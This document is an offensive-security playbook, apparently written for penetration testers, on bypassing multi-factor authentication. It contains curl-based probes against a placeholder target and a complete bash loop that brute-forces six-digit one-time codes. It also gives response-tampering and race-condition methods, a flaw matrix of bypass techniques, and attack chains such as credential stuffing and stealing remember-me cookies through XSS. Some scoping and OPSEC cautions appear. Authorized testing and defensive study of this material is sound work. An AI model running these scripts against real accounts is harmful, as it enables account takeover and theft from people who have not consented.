purpleailab MFA / 2FA Bypass Playbook
Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.
1. Detection — map the 2FA surface
Enumerate every flow that should require a second factor:
# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
/account/email /account/password /password/reset /password/reset/confirm \
/oauth/authorize /api/session /api/session/elevate /backup-codes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p"
done
# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
-H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
-d '{"code":"000000"}'
# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open
2. Flaw matrix
| Class | Symptom | Bypass |
|---|---|---|
| Response manipulation | server returns {"success":false} but client trusts it |
intercept → flip to true |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite 401 → 200 in proxy |
| Flag tamper | mfa_required=true in JWT/JSON |
edit to false, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by userid/timestamp |
precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | /login enforces, /api/login does not |
use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset → skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | /api/account works on half-authed session |
call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit /2fa/enroll first post-login |
| Recovery channel takeover | SMS → SIM swap, email → email ATO | downstream factor compromise |
3. Exploit PoC
3.1 Brute-force a 6-digit OTP (no rate limit)
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
CODE=$(printf '%06d' $i)
CODE_LEN=${#CODE}
RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
[ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
(( i % 1000 == 0 )) && echo "tried $i ..."
done
3.2 Response-flip bypass
# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}
Rewrite at the proxy:
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}
If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.
3.3 Direct post-2FA endpoint access
# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.
3.4 Race condition (HTTP/2 single-packet)
# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.
4. Chains
- MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
- Password reset skips 2FA → ATO: phish/reset email → straight in.
- Remember-me theft via XSS → permanent 2FA bypass even after password change.
- Enrollment race → persistent ATO: attacker becomes the legitimate 2FA owner.
5. Tools
- Burp Suite + Turbo Intruder (race conditions, single-packet attack)
- Burp Match-and-Replace rules for response-flip
ffuf/hydra http-post-formfor OTP brute when no JS guard- mitmproxy scripts for live JSON tamper
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Hundreds of /2fa/verify POSTs per session |
App-level rate metric | Use a dedicated attacker test account; do not brute live victims without scope |
| Same OTP value tried across users | SIEM correlation | Vary code per user when testing reuse |
Concurrent requests on same state token |
App anomaly | Race PoC only on isolated test users |
| Remember-me cookie from new geo | Risk engine | Validate with consent before extraction tests |
Decision Gate: MFA bypass confirmed → exploitation
- A path produces a fully-authed session without presenting the second factor
- Bypass is repeatable, not a transient race artifact
- Bypass requires only data an attacker can plausibly obtain (creds / phish / XSS / public flow)
- PoC reads/writes a 2FA-gated resource (account settings, transfer, admin)
If all checked, escalate per
finding-protocolas Critical (ATO).